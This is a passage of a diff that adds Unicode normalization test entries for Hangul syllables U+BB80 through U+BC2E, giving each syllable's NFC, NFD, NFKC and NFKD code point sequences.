+{ source: [0xBB80], NFC: [0xBB80], NFD: [0x1106, 0x1170, 0x11BB], NFKC: [0xBB80], NFKD: [0x1106, 0x1170, 0x11BB] },
+{ source: [0xBB81], NFC: [0xBB81], NFD: [0x1106, 0x1170, 0x11BC], NFKC: [0xBB81], NFKD: [0x1106, 0x1170, 0x11BC] },
+{ source: [0xBB82], NFC: [0xBB82], NFD: [0x1106, 0x1170, 0x11BD], NFKC: [0xBB82], NFKD: [0x1106, 0x1170, 0x11BD] },
+{ source: [0xBB83], NFC: [0xBB83], NFD: [0x1106, 0x1170, 0x11BE], NFKC: [0xBB83], NFKD: [0x1106, 0x1170, 0x11BE] },
+{ source: [0xBB84], NFC: [0xBB84], NFD: [0x1106, 0x1170, 0x11BF], NFKC: [0xBB84], NFKD: [0x1106, 0x1170, 0x11BF] },
+{ source: [0xBB85], NFC: [0xBB85], NFD: [0x1106, 0x1170, 0x11C0], NFKC: [0xBB85], NFKD: [0x1106, 0x1170, 0x11C0] },
+{ source: [0xBB86], NFC: [0xBB86], NFD: [0x1106, 0x1170, 0x11C1], NFKC: [0xBB86], NFKD: [0x1106, 0x1170, 0x11C1] },
+{ source: [0xBB87], NFC: [0xBB87], NFD: [0x1106, 0x1170, 0x11C2], NFKC: [0xBB87], NFKD: [0x1106, 0x1170, 0x11C2] },
+{ source: [0xBB88], NFC: [0xBB88], NFD: [0x1106, 0x1171], NFKC: [0xBB88], NFKD: [0x1106, 0x1171] },
+{ source: [0xBB89], NFC: [0xBB89], NFD: [0x1106, 0x1171, 0x11A8], NFKC: [0xBB89], NFKD: [0x1106, 0x1171, 0x11A8] },
+{ source: [0xBB8A], NFC: [0xBB8A], NFD: [0x1106, 0x1171, 0x11A9], NFKC: [0xBB8A], NFKD: [0x1106, 0x1171, 0x11A9] },
+{ source: [0xBB8B], NFC: [0xBB8B], NFD: [0x1106, 0x1171, 0x11AA], NFKC: [0xBB8B], NFKD: [0x1106, 0x1171, 0x11AA] },
+{ source: [0xBB8C], NFC: [0xBB8C], NFD: [0x1106, 0x1171, 0x11AB], NFKC: [0xBB8C], NFKD: [0x1106, 0x1171, 0x11AB] },
+{ source: [0xBB8D], NFC: [0xBB8D], NFD: [0x1106, 0x1171, 0x11AC], NFKC: [0xBB8D], NFKD: [0x1106, 0x1171, 0x11AC] },
+{ source: [0xBB8E], NFC: [0xBB8E], NFD: [0x1106, 0x1171, 0x11AD], NFKC: [0xBB8E], NFKD: [0x1106, 0x1171, 0x11AD] },
+{ source: [0xBB8F], NFC: [0xBB8F], NFD: [0x1106, 0x1171, 0x11AE], NFKC: [0xBB8F], NFKD: [0x1106, 0x1171, 0x11AE] },
+{ source: [0xBB90], NFC: [0xBB90], NFD: [0x1106, 0x1171, 0x11AF], NFKC: [0xBB90], NFKD: [0x1106, 0x1171, 0x11AF] },
+{ source: [0xBB91], NFC: [0xBB91], NFD: [0x1106, 0x1171, 0x11B0], NFKC: [0xBB91], NFKD: [0x1106, 0x1171, 0x11B0] },
+{ source: [0xBB92], NFC: [0xBB92], NFD: [0x1106, 0x1171, 0x11B1], NFKC: [0xBB92], NFKD: [0x1106, 0x1171, 0x11B1] },
+{ source: [0xBB93], NFC: [0xBB93], NFD: [0x1106, 0x1171, 0x11B2], NFKC: [0xBB93], NFKD: [0x1106, 0x1171, 0x11B2] },
+{ source: [0xBB94], NFC: [0xBB94], NFD: [0x1106, 0x1171, 0x11B3], NFKC: [0xBB94], NFKD: [0x1106, 0x1171, 0x11B3] },
+{ source: [0xBB95], NFC: [0xBB95], NFD: [0x1106, 0x1171, 0x11B4], NFKC: [0xBB95], NFKD: [0x1106, 0x1171, 0x11B4] },
+{ source: [0xBB96], NFC: [0xBB96], NFD: [0x1106, 0x1171, 0x11B5], NFKC: [0xBB96], NFKD: [0x1106, 0x1171, 0x11B5] },
+{ source: [0xBB97], NFC: [0xBB97], NFD: [0x1106, 0x1171, 0x11B6], NFKC: [0xBB97], NFKD: [0x1106, 0x1171, 0x11B6] },
+{ source: [0xBB98], NFC: [0xBB98], NFD: [0x1106, 0x1171, 0x11B7], NFKC: [0xBB98], NFKD: [0x1106, 0x1171, 0x11B7] },
+{ source: [0xBB99], NFC: [0xBB99], NFD: [0x1106, 0x1171, 0x11B8], NFKC: [0xBB99], NFKD: [0x1106, 0x1171, 0x11B8] },
+{ source: [0xBB9A], NFC: [0xBB9A], NFD: [0x1106, 0x1171, 0x11B9], NFKC: [0xBB9A], NFKD: [0x1106, 0x1171, 0x11B9] },
+{ source: [0xBB9B], NFC: [0xBB9B], NFD: [0x1106, 0x1171, 0x11BA], NFKC: [0xBB9B], NFKD: [0x1106, 0x1171, 0x11BA] },
+{ source: [0xBB9C], NFC: [0xBB9C], NFD: [0x1106, 0x1171, 0x11BB], NFKC: [0xBB9C], NFKD: [0x1106, 0x1171, 0x11BB] },
+{ source: [0xBB9D], NFC: [0xBB9D], NFD: [0x1106, 0x1171, 0x11BC], NFKC: [0xBB9D], NFKD: [0x1106, 0x1171, 0x11BC] },
+{ source: [0xBB9E], NFC: [0xBB9E], NFD: [0x1106, 0x1171, 0x11BD], NFKC: [0xBB9E], NFKD: [0x1106, 0x1171, 0x11BD] },
+{ source: [0xBB9F], NFC: [0xBB9F], NFD: [0x1106, 0x1171, 0x11BE], NFKC: [0xBB9F], NFKD: [0x1106, 0x1171, 0x11BE] },
+{ source: [0xBBA0], NFC: [0xBBA0], NFD: [0x1106, 0x1171, 0x11BF], NFKC: [0xBBA0], NFKD: [0x1106, 0x1171, 0x11BF] },
+{ source: [0xBBA1], NFC: [0xBBA1], NFD: [0x1106, 0x1171, 0x11C0], NFKC: [0xBBA1], NFKD: [0x1106, 0x1171, 0x11C0] },
+{ source: [0xBBA2], NFC: [0xBBA2], NFD: [0x1106, 0x1171, 0x11C1], NFKC: [0xBBA2], NFKD: [0x1106, 0x1171, 0x11C1] },
+{ source: [0xBBA3], NFC: [0xBBA3], NFD: [0x1106, 0x1171, 0x11C2], NFKC: [0xBBA3], NFKD: [0x1106, 0x1171, 0x11C2] },
+{ source: [0xBBA4], NFC: [0xBBA4], NFD: [0x1106, 0x1172], NFKC: [0xBBA4], NFKD: [0x1106, 0x1172] },
+{ source: [0xBBA5], NFC: [0xBBA5], NFD: [0x1106, 0x1172, 0x11A8], NFKC: [0xBBA5], NFKD: [0x1106, 0x1172, 0x11A8] },
+{ source: [0xBBA6], NFC: [0xBBA6], NFD: [0x1106, 0x1172, 0x11A9], NFKC: [0xBBA6], NFKD: [0x1106, 0x1172, 0x11A9] },
+{ source: [0xBBA7], NFC: [0xBBA7], NFD: [0x1106, 0x1172, 0x11AA], NFKC: [0xBBA7], NFKD: [0x1106, 0x1172, 0x11AA] },
+{ source: [0xBBA8], NFC: [0xBBA8], NFD: [0x1106, 0x1172, 0x11AB], NFKC: [0xBBA8], NFKD: [0x1106, 0x1172, 0x11AB] },
+{ source: [0xBBA9], NFC: [0xBBA9], NFD: [0x1106, 0x1172, 0x11AC], NFKC: [0xBBA9], NFKD: [0x1106, 0x1172, 0x11AC] },
+{ source: [0xBBAA], NFC: [0xBBAA], NFD: [0x1106, 0x1172, 0x11AD], NFKC: [0xBBAA], NFKD: [0x1106, 0x1172, 0x11AD] },
+{ source: [0xBBAB], NFC: [0xBBAB], NFD: [0x1106, 0x1172, 0x11AE], NFKC: [0xBBAB], NFKD: [0x1106, 0x1172, 0x11AE] },
+{ source: [0xBBAC], NFC: [0xBBAC], NFD: [0x1106, 0x1172, 0x11AF], NFKC: [0xBBAC], NFKD: [0x1106, 0x1172, 0x11AF] },
+{ source: [0xBBAD], NFC: [0xBBAD], NFD: [0x1106, 0x1172, 0x11B0], NFKC: [0xBBAD], NFKD: [0x1106, 0x1172, 0x11B0] },
+{ source: [0xBBAE], NFC: [0xBBAE], NFD: [0x1106, 0x1172, 0x11B1], NFKC: [0xBBAE], NFKD: [0x1106, 0x1172, 0x11B1] },
+{ source: [0xBBAF], NFC: [0xBBAF], NFD: [0x1106, 0x1172, 0x11B2], NFKC: [0xBBAF], NFKD: [0x1106, 0x1172, 0x11B2] },
+{ source: [0xBBB0], NFC: [0xBBB0], NFD: [0x1106, 0x1172, 0x11B3], NFKC: [0xBBB0], NFKD: [0x1106, 0x1172, 0x11B3] },
+{ source: [0xBBB1], NFC: [0xBBB1], NFD: [0x1106, 0x1172, 0x11B4], NFKC: [0xBBB1], NFKD: [0x1106, 0x1172, 0x11B4] },
+{ source: [0xBBB2], NFC: [0xBBB2], NFD: [0x1106, 0x1172, 0x11B5], NFKC: [0xBBB2], NFKD: [0x1106, 0x1172, 0x11B5] },
+{ source: [0xBBB3], NFC: [0xBBB3], NFD: [0x1106, 0x1172, 0x11B6], NFKC: [0xBBB3], NFKD: [0x1106, 0x1172, 0x11B6] },
+{ source: [0xBBB4], NFC: [0xBBB4], NFD: [0x1106, 0x1172, 0x11B7], NFKC: [0xBBB4], NFKD: [0x1106, 0x1172, 0x11B7] },
+{ source: [0xBBB5], NFC: [0xBBB5], NFD: [0x1106, 0x1172, 0x11B8], NFKC: [0xBBB5], NFKD: [0x1106, 0x1172, 0x11B8] },
+{ source: [0xBBB6], NFC: [0xBBB6], NFD: [0x1106, 0x1172, 0x11B9], NFKC: [0xBBB6], NFKD: [0x1106, 0x1172, 0x11B9] },
+{ source: [0xBBB7], NFC: [0xBBB7], NFD: [0x1106, 0x1172, 0x11BA], NFKC: [0xBBB7], NFKD: [0x1106, 0x1172, 0x11BA] },
+{ source: [0xBBB8], NFC: [0xBBB8], NFD: [0x1106, 0x1172, 0x11BB], NFKC: [0xBBB8], NFKD: [0x1106, 0x1172, 0x11BB] },
+{ source: [0xBBB9], NFC: [0xBBB9], NFD: [0x1106, 0x1172, 0x11BC], NFKC: [0xBBB9], NFKD: [0x1106, 0x1172, 0x11BC] },
+{ source: [0xBBBA], NFC: [0xBBBA], NFD: [0x1106, 0x1172, 0x11BD], NFKC: [0xBBBA], NFKD: [0x1106, 0x1172, 0x11BD] },
+{ source: [0xBBBB], NFC: [0xBBBB], NFD: [0x1106, 0x1172, 0x11BE], NFKC: [0xBBBB], NFKD: [0x1106, 0x1172, 0x11BE] },
+{ source: [0xBBBC], NFC: [0xBBBC], NFD: [0x1106, 0x1172, 0x11BF], NFKC: [0xBBBC], NFKD: [0x1106, 0x1172, 0x11BF] },
+{ source: [0xBBBD], NFC: [0xBBBD], NFD: [0x1106, 0x1172, 0x11C0], NFKC: [0xBBBD], NFKD: [0x1106, 0x1172, 0x11C0] },
+{ source: [0xBBBE], NFC: [0xBBBE], NFD: [0x1106, 0x1172, 0x11C1], NFKC: [0xBBBE], NFKD: [0x1106, 0x1172, 0x11C1] },
+{ source: [0xBBBF], NFC: [0xBBBF], NFD: [0x1106, 0x1172, 0x11C2], NFKC: [0xBBBF], NFKD: [0x1106, 0x1172, 0x11C2] },
+{ source: [0xBBC0], NFC: [0xBBC0], NFD: [0x1106, 0x1173], NFKC: [0xBBC0], NFKD: [0x1106, 0x1173] },
+{ source: [0xBBC1], NFC: [0xBBC1], NFD: [0x1106, 0x1173, 0x11A8], NFKC: [0xBBC1], NFKD: [0x1106, 0x1173, 0x11A8] },
+{ source: [0xBBC2], NFC: [0xBBC2], NFD: [0x1106, 0x1173, 0x11A9], NFKC: [0xBBC2], NFKD: [0x1106, 0x1173, 0x11A9] },
+{ source: [0xBBC3], NFC: [0xBBC3], NFD: [0x1106, 0x1173, 0x11AA], NFKC: [0xBBC3], NFKD: [0x1106, 0x1173, 0x11AA] },
+{ source: [0xBBC4], NFC: [0xBBC4], NFD: [0x1106, 0x1173, 0x11AB], NFKC: [0xBBC4], NFKD: [0x1106, 0x1173, 0x11AB] },
+{ source: [0xBBC5], NFC: [0xBBC5], NFD: [0x1106, 0x1173, 0x11AC], NFKC: [0xBBC5], NFKD: [0x1106, 0x1173, 0x11AC] },
+{ source: [0xBBC6], NFC: [0xBBC6], NFD: [0x1106, 0x1173, 0x11AD], NFKC: [0xBBC6], NFKD: [0x1106, 0x1173, 0x11AD] },
+{ source: [0xBBC7], NFC: [0xBBC7], NFD: [0x1106, 0x1173, 0x11AE], NFKC: [0xBBC7], NFKD: [0x1106, 0x1173, 0x11AE] },
+{ source: [0xBBC8], NFC: [0xBBC8], NFD: [0x1106, 0x1173, 0x11AF], NFKC: [0xBBC8], NFKD: [0x1106, 0x1173, 0x11AF] },
+{ source: [0xBBC9], NFC: [0xBBC9], NFD: [0x1106, 0x1173, 0x11B0], NFKC: [0xBBC9], NFKD: [0x1106, 0x1173, 0x11B0] },
+{ source: [0xBBCA], NFC: [0xBBCA], NFD: [0x1106, 0x1173, 0x11B1], NFKC: [0xBBCA], NFKD: [0x1106, 0x1173, 0x11B1] },
+{ source: [0xBBCB], NFC: [0xBBCB], NFD: [0x1106, 0x1173, 0x11B2], NFKC: [0xBBCB], NFKD: [0x1106, 0x1173, 0x11B2] },
+{ source: [0xBBCC], NFC: [0xBBCC], NFD: [0x1106, 0x1173, 0x11B3], NFKC: [0xBBCC], NFKD: [0x1106, 0x1173, 0x11B3] },
+{ source: [0xBBCD], NFC: [0xBBCD], NFD: [0x1106, 0x1173, 0x11B4], NFKC: [0xBBCD], NFKD: [0x1106, 0x1173, 0x11B4] },
+{ source: [0xBBCE], NFC: [0xBBCE], NFD: [0x1106, 0x1173, 0x11B5], NFKC: [0xBBCE], NFKD: [0x1106, 0x1173, 0x11B5] },
+{ source: [0xBBCF], NFC: [0xBBCF], NFD: [0x1106, 0x1173, 0x11B6], NFKC: [0xBBCF], NFKD: [0x1106, 0x1173, 0x11B6] },
+{ source: [0xBBD0], NFC: [0xBBD0], NFD: [0x1106, 0x1173, 0x11B7], NFKC: [0xBBD0], NFKD: [0x1106, 0x1173, 0x11B7] },
+{ source: [0xBBD1], NFC: [0xBBD1], NFD: [0x1106, 0x1173, 0x11B8], NFKC: [0xBBD1], NFKD: [0x1106, 0x1173, 0x11B8] },
+{ source: [0xBBD2], NFC: [0xBBD2], NFD: [0x1106, 0x1173, 0x11B9], NFKC: [0xBBD2], NFKD: [0x1106, 0x1173, 0x11B9] },
+{ source: [0xBBD3], NFC: [0xBBD3], NFD: [0x1106, 0x1173, 0x11BA], NFKC: [0xBBD3], NFKD: [0x1106, 0x1173, 0x11BA] },
+{ source: [0xBBD4], NFC: [0xBBD4], NFD: [0x1106, 0x1173, 0x11BB], NFKC: [0xBBD4], NFKD: [0x1106, 0x1173, 0x11BB] },
+{ source: [0xBBD5], NFC: [0xBBD5], NFD: [0x1106, 0x1173, 0x11BC], NFKC: [0xBBD5], NFKD: [0x1106, 0x1173, 0x11BC] },
+{ source: [0xBBD6], NFC: [0xBBD6], NFD: [0x1106, 0x1173, 0x11BD], NFKC: [0xBBD6], NFKD: [0x1106, 0x1173, 0x11BD] },
+{ source: [0xBBD7], NFC: [0xBBD7], NFD: [0x1106, 0x1173, 0x11BE], NFKC: [0xBBD7], NFKD: [0x1106, 0x1173, 0x11BE] },
+{ source: [0xBBD8], NFC: [0xBBD8], NFD: [0x1106, 0x1173, 0x11BF], NFKC: [0xBBD8], NFKD: [0x1106, 0x1173, 0x11BF] },
+{ source: [0xBBD9], NFC: [0xBBD9], NFD: [0x1106, 0x1173, 0x11C0], NFKC: [0xBBD9], NFKD: [0x1106, 0x1173, 0x11C0] },
+{ source: [0xBBDA], NFC: [0xBBDA], NFD: [0x1106, 0x1173, 0x11C1], NFKC: [0xBBDA], NFKD: [0x1106, 0x1173, 0x11C1] },
+{ source: [0xBBDB], NFC: [0xBBDB], NFD: [0x1106, 0x1173, 0x11C2], NFKC: [0xBBDB], NFKD: [0x1106, 0x1173, 0x11C2] },
+{ source: [0xBBDC], NFC: [0xBBDC], NFD: [0x1106, 0x1174], NFKC: [0xBBDC], NFKD: [0x1106, 0x1174] },
+{ source: [0xBBDD], NFC: [0xBBDD], NFD: [0x1106, 0x1174, 0x11A8], NFKC: [0xBBDD], NFKD: [0x1106, 0x1174, 0x11A8] },
+{ source: [0xBBDE], NFC: [0xBBDE], NFD: [0x1106, 0x1174, 0x11A9], NFKC: [0xBBDE], NFKD: [0x1106, 0x1174, 0x11A9] },
+{ source: [0xBBDF], NFC: [0xBBDF], NFD: [0x1106, 0x1174, 0x11AA], NFKC: [0xBBDF], NFKD: [0x1106, 0x1174, 0x11AA] },
+{ source: [0xBBE0], NFC: [0xBBE0], NFD: [0x1106, 0x1174, 0x11AB], NFKC: [0xBBE0], NFKD: [0x1106, 0x1174, 0x11AB] },
+{ source: [0xBBE1], NFC: [0xBBE1], NFD: [0x1106, 0x1174, 0x11AC], NFKC: [0xBBE1], NFKD: [0x1106, 0x1174, 0x11AC] },
+{ source: [0xBBE2], NFC: [0xBBE2], NFD: [0x1106, 0x1174, 0x11AD], NFKC: [0xBBE2], NFKD: [0x1106, 0x1174, 0x11AD] },
+{ source: [0xBBE3], NFC: [0xBBE3], NFD: [0x1106, 0x1174, 0x11AE], NFKC: [0xBBE3], NFKD: [0x1106, 0x1174, 0x11AE] },
+{ source: [0xBBE4], NFC: [0xBBE4], NFD: [0x1106, 0x1174, 0x11AF], NFKC: [0xBBE4], NFKD: [0x1106, 0x1174, 0x11AF] },
+{ source: [0xBBE5], NFC: [0xBBE5], NFD: [0x1106, 0x1174, 0x11B0], NFKC: [0xBBE5], NFKD: [0x1106, 0x1174, 0x11B0] },
+{ source: [0xBBE6], NFC: [0xBBE6], NFD: [0x1106, 0x1174, 0x11B1], NFKC: [0xBBE6], NFKD: [0x1106, 0x1174, 0x11B1] },
+{ source: [0xBBE7], NFC: [0xBBE7], NFD: [0x1106, 0x1174, 0x11B2], NFKC: [0xBBE7], NFKD: [0x1106, 0x1174, 0x11B2] },
+{ source: [0xBBE8], NFC: [0xBBE8], NFD: [0x1106, 0x1174, 0x11B3], NFKC: [0xBBE8], NFKD: [0x1106, 0x1174, 0x11B3] },
+{ source: [0xBBE9], NFC: [0xBBE9], NFD: [0x1106, 0x1174, 0x11B4], NFKC: [0xBBE9], NFKD: [0x1106, 0x1174, 0x11B4] },
+{ source: [0xBBEA], NFC: [0xBBEA], NFD: [0x1106, 0x1174, 0x11B5], NFKC: [0xBBEA], NFKD: [0x1106, 0x1174, 0x11B5] },
+{ source: [0xBBEB], NFC: [0xBBEB], NFD: [0x1106, 0x1174, 0x11B6], NFKC: [0xBBEB], NFKD: [0x1106, 0x1174, 0x11B6] },
+{ source: [0xBBEC], NFC: [0xBBEC], NFD: [0x1106, 0x1174, 0x11B7], NFKC: [0xBBEC], NFKD: [0x1106, 0x1174, 0x11B7] },
+{ source: [0xBBED], NFC: [0xBBED], NFD: [0x1106, 0x1174, 0x11B8], NFKC: [0xBBED], NFKD: [0x1106, 0x1174, 0x11B8] },
+{ source: [0xBBEE], NFC: [0xBBEE], NFD: [0x1106, 0x1174, 0x11B9], NFKC: [0xBBEE], NFKD: [0x1106, 0x1174, 0x11B9] },
+{ source: [0xBBEF], NFC: [0xBBEF], NFD: [0x1106, 0x1174, 0x11BA], NFKC: [0xBBEF], NFKD: [0x1106, 0x1174, 0x11BA] },
+{ source: [0xBBF0], NFC: [0xBBF0], NFD: [0x1106, 0x1174, 0x11BB], NFKC: [0xBBF0], NFKD: [0x1106, 0x1174, 0x11BB] },
+{ source: [0xBBF1], NFC: [0xBBF1], NFD: [0x1106, 0x1174, 0x11BC], NFKC: [0xBBF1], NFKD: [0x1106, 0x1174, 0x11BC] },
+{ source: [0xBBF2], NFC: [0xBBF2], NFD: [0x1106, 0x1174, 0x11BD], NFKC: [0xBBF2], NFKD: [0x1106, 0x1174, 0x11BD] },
+{ source: [0xBBF3], NFC: [0xBBF3], NFD: [0x1106, 0x1174, 0x11BE], NFKC: [0xBBF3], NFKD: [0x1106, 0x1174, 0x11BE] },
+{ source: [0xBBF4], NFC: [0xBBF4], NFD: [0x1106, 0x1174, 0x11BF], NFKC: [0xBBF4], NFKD: [0x1106, 0x1174, 0x11BF] },
+{ source: [0xBBF5], NFC: [0xBBF5], NFD: [0x1106, 0x1174, 0x11C0], NFKC: [0xBBF5], NFKD: [0x1106, 0x1174, 0x11C0] },
+{ source: [0xBBF6], NFC: [0xBBF6], NFD: [0x1106, 0x1174, 0x11C1], NFKC: [0xBBF6], NFKD: [0x1106, 0x1174, 0x11C1] },
+{ source: [0xBBF7], NFC: [0xBBF7], NFD: [0x1106, 0x1174, 0x11C2], NFKC: [0xBBF7], NFKD: [0x1106, 0x1174, 0x11C2] },
+{ source: [0xBBF8], NFC: [0xBBF8], NFD: [0x1106, 0x1175], NFKC: [0xBBF8], NFKD: [0x1106, 0x1175] },
+{ source: [0xBBF9], NFC: [0xBBF9], NFD: [0x1106, 0x1175, 0x11A8], NFKC: [0xBBF9], NFKD: [0x1106, 0x1175, 0x11A8] },
+{ source: [0xBBFA], NFC: [0xBBFA], NFD: [0x1106, 0x1175, 0x11A9], NFKC: [0xBBFA], NFKD: [0x1106, 0x1175, 0x11A9] },
+{ source: [0xBBFB], NFC: [0xBBFB], NFD: [0x1106, 0x1175, 0x11AA], NFKC: [0xBBFB], NFKD: [0x1106, 0x1175, 0x11AA] },
+{ source: [0xBBFC], NFC: [0xBBFC], NFD: [0x1106, 0x1175, 0x11AB], NFKC: [0xBBFC], NFKD: [0x1106, 0x1175, 0x11AB] },
+{ source: [0xBBFD], NFC: [0xBBFD], NFD: [0x1106, 0x1175, 0x11AC], NFKC: [0xBBFD], NFKD: [0x1106, 0x1175, 0x11AC] },
+{ source: [0xBBFE], NFC: [0xBBFE], NFD: [0x1106, 0x1175, 0x11AD], NFKC: [0xBBFE], NFKD: [0x1106, 0x1175, 0x11AD] },
+{ source: [0xBBFF], NFC: [0xBBFF], NFD: [0x1106, 0x1175, 0x11AE], NFKC: [0xBBFF], NFKD: [0x1106, 0x1175, 0x11AE] },
+{ source: [0xBC00], NFC: [0xBC00], NFD: [0x1106, 0x1175, 0x11AF], NFKC: [0xBC00], NFKD: [0x1106, 0x1175, 0x11AF] },
+{ source: [0xBC01], NFC: [0xBC01], NFD: [0x1106, 0x1175, 0x11B0], NFKC: [0xBC01], NFKD: [0x1106, 0x1175, 0x11B0] },
+{ source: [0xBC02], NFC: [0xBC02], NFD: [0x1106, 0x1175, 0x11B1], NFKC: [0xBC02], NFKD: [0x1106, 0x1175, 0x11B1] },
+{ source: [0xBC03], NFC: [0xBC03], NFD: [0x1106, 0x1175, 0x11B2], NFKC: [0xBC03], NFKD: [0x1106, 0x1175, 0x11B2] },
+{ source: [0xBC04], NFC: [0xBC04], NFD: [0x1106, 0x1175, 0x11B3], NFKC: [0xBC04], NFKD: [0x1106, 0x1175, 0x11B3] },
+{ source: [0xBC05], NFC: [0xBC05], NFD: [0x1106, 0x1175, 0x11B4], NFKC: [0xBC05], NFKD: [0x1106, 0x1175, 0x11B4] },
+{ source: [0xBC06], NFC: [0xBC06], NFD: [0x1106, 0x1175, 0x11B5], NFKC: [0xBC06], NFKD: [0x1106, 0x1175, 0x11B5] },
+{ source: [0xBC07], NFC: [0xBC07], NFD: [0x1106, 0x1175, 0x11B6], NFKC: [0xBC07], NFKD: [0x1106, 0x1175, 0x11B6] },
+{ source: [0xBC08], NFC: [0xBC08], NFD: [0x1106, 0x1175, 0x11B7], NFKC: [0xBC08], NFKD: [0x1106, 0x1175, 0x11B7] },
+{ source: [0xBC09], NFC: [0xBC09], NFD: [0x1106, 0x1175, 0x11B8], NFKC: [0xBC09], NFKD: [0x1106, 0x1175, 0x11B8] },
+{ source: [0xBC0A], NFC: [0xBC0A], NFD: [0x1106, 0x1175, 0x11B9], NFKC: [0xBC0A], NFKD: [0x1106, 0x1175, 0x11B9] },
+{ source: [0xBC0B], NFC: [0xBC0B], NFD: [0x1106, 0x1175, 0x11BA], NFKC: [0xBC0B], NFKD: [0x1106, 0x1175, 0x11BA] },
+{ source: [0xBC0C], NFC: [0xBC0C], NFD: [0x1106, 0x1175, 0x11BB], NFKC: [0xBC0C], NFKD: [0x1106, 0x1175, 0x11BB] },
+{ source: [0xBC0D], NFC: [0xBC0D], NFD: [0x1106, 0x1175, 0x11BC], NFKC: [0xBC0D], NFKD: [0x1106, 0x1175, 0x11BC] },
+{ source: [0xBC0E], NFC: [0xBC0E], NFD: [0x1106, 0x1175, 0x11BD], NFKC: [0xBC0E], NFKD: [0x1106, 0x1175, 0x11BD] },
+{ source: [0xBC0F], NFC: [0xBC0F], NFD: [0x1106, 0x1175, 0x11BE], NFKC: [0xBC0F], NFKD: [0x1106, 0x1175, 0x11BE] },
+{ source: [0xBC10], NFC: [0xBC10], NFD: [0x1106, 0x1175, 0x11BF], NFKC: [0xBC10], NFKD: [0x1106, 0x1175, 0x11BF] },
+{ source: [0xBC11], NFC: [0xBC11], NFD: [0x1106, 0x1175, 0x11C0], NFKC: [0xBC11], NFKD: [0x1106, 0x1175, 0x11C0] },
+{ source: [0xBC12], NFC: [0xBC12], NFD: [0x1106, 0x1175, 0x11C1], NFKC: [0xBC12], NFKD: [0x1106, 0x1175, 0x11C1] },
+{ source: [0xBC13], NFC: [0xBC13], NFD: [0x1106, 0x1175, 0x11C2], NFKC: [0xBC13], NFKD: [0x1106, 0x1175, 0x11C2] },
+{ source: [0xBC14], NFC: [0xBC14], NFD: [0x1107, 0x1161], NFKC: [0xBC14], NFKD: [0x1107, 0x1161] },
+{ source: [0xBC15], NFC: [0xBC15], NFD: [0x1107, 0x1161, 0x11A8], NFKC: [0xBC15], NFKD: [0x1107, 0x1161, 0x11A8] },
+{ source: [0xBC16], NFC: [0xBC16], NFD: [0x1107, 0x1161, 0x11A9], NFKC: [0xBC16], NFKD: [0x1107, 0x1161, 0x11A9] },
+{ source: [0xBC17], NFC: [0xBC17], NFD: [0x1107, 0x1161, 0x11AA], NFKC: [0xBC17], NFKD: [0x1107, 0x1161, 0x11AA] },
+{ source: [0xBC18], NFC: [0xBC18], NFD: [0x1107, 0x1161, 0x11AB], NFKC: [0xBC18], NFKD: [0x1107, 0x1161, 0x11AB] },
+{ source: [0xBC19], NFC: [0xBC19], NFD: [0x1107, 0x1161, 0x11AC], NFKC: [0xBC19], NFKD: [0x1107, 0x1161, 0x11AC] },
+{ source: [0xBC1A], NFC: [0xBC1A], NFD: [0x1107, 0x1161, 0x11AD], NFKC: [0xBC1A], NFKD: [0x1107, 0x1161, 0x11AD] },
+{ source: [0xBC1B], NFC: [0xBC1B], NFD: [0x1107, 0x1161, 0x11AE], NFKC: [0xBC1B], NFKD: [0x1107, 0x1161, 0x11AE] },
+{ source: [0xBC1C], NFC: [0xBC1C], NFD: [0x1107, 0x1161, 0x11AF], NFKC: [0xBC1C], NFKD: [0x1107, 0x1161, 0x11AF] },
+{ source: [0xBC1D], NFC: [0xBC1D], NFD: [0x1107, 0x1161, 0x11B0], NFKC: [0xBC1D], NFKD: [0x1107, 0x1161, 0x11B0] },
+{ source: [0xBC1E], NFC: [0xBC1E], NFD: [0x1107, 0x1161, 0x11B1], NFKC: [0xBC1E], NFKD: [0x1107, 0x1161, 0x11B1] },
+{ source: [0xBC1F], NFC: [0xBC1F], NFD: [0x1107, 0x1161, 0x11B2], NFKC: [0xBC1F], NFKD: [0x1107, 0x1161, 0x11B2] },
+{ source: [0xBC20], NFC: [0xBC20], NFD: [0x1107, 0x1161, 0x11B3], NFKC: [0xBC20], NFKD: [0x1107, 0x1161, 0x11B3] },
+{ source: [0xBC21], NFC: [0xBC21], NFD: [0x1107, 0x1161, 0x11B4], NFKC: [0xBC21], NFKD: [0x1107, 0x1161, 0x11B4] },
+{ source: [0xBC22], NFC: [0xBC22], NFD: [0x1107, 0x1161, 0x11B5], NFKC: [0xBC22], NFKD: [0x1107, 0x1161, 0x11B5] },
+{ source: [0xBC23], NFC: [0xBC23], NFD: [0x1107, 0x1161, 0x11B6], NFKC: [0xBC23], NFKD: [0x1107, 0x1161, 0x11B6] },
+{ source: [0xBC24], NFC: [0xBC24], NFD: [0x1107, 0x1161, 0x11B7], NFKC: [0xBC24], NFKD: [0x1107, 0x1161, 0x11B7] },
+{ source: [0xBC25], NFC: [0xBC25], NFD: [0x1107, 0x1161, 0x11B8], NFKC: [0xBC25], NFKD: [0x1107, 0x1161, 0x11B8] },
+{ source: [0xBC26], NFC: [0xBC26], NFD: [0x1107, 0x1161, 0x11B9], NFKC: [0xBC26], NFKD: [0x1107, 0x1161, 0x11B9] },
+{ source: [0xBC27], NFC: [0xBC27], NFD: [0x1107, 0x1161, 0x11BA], NFKC: [0xBC27], NFKD: [0x1107, 0x1161, 0x11BA] },
+{ source: [0xBC28], NFC: [0xBC28], NFD: [0x1107, 0x1161, 0x11BB], NFKC: [0xBC28], NFKD: [0x1107, 0x1161, 0x11BB] },
+{ source: [0xBC29], NFC: [0xBC29], NFD: [0x1107, 0x1161, 0x11BC], NFKC: [0xBC29], NFKD: [0x1107, 0x1161, 0x11BC] },
+{ source: [0xBC2A], NFC: [0xBC2A], NFD: [0x1107, 0x1161, 0x11BD], NFKC: [0xBC2A], NFKD: [0x1107, 0x1161, 0x11BD] },
+{ source: [0xBC2B], NFC: [0xBC2B], NFD: [0x1107, 0x1161, 0x11BE], NFKC: [0xBC2B], NFKD: [0x1107, 0x1161, 0x11BE] },
+{ source: [0xBC2C], NFC: [0xBC2C], NFD: [0x1107, 0x1161, 0x11BF], NFKC: [0xBC2C], NFKD: [0x1107, 0x1161, 0x11BF] },
+{ source: [0xBC2D], NFC: [0xBC2D], NFD: [0x1107, 0x1161, 0x11C0], NFKC: [0xBC2D], NFKD: [0x1107, 0x1161, 0x11C0] },
+{ source: [0xBC2E], NFC: [0xBC2E], NFD: [0x1107, 0x1161, 0x11C1], NFKC: [0xBC2E], NFKD: [0x1107, 0x1161, 0x11C1] },
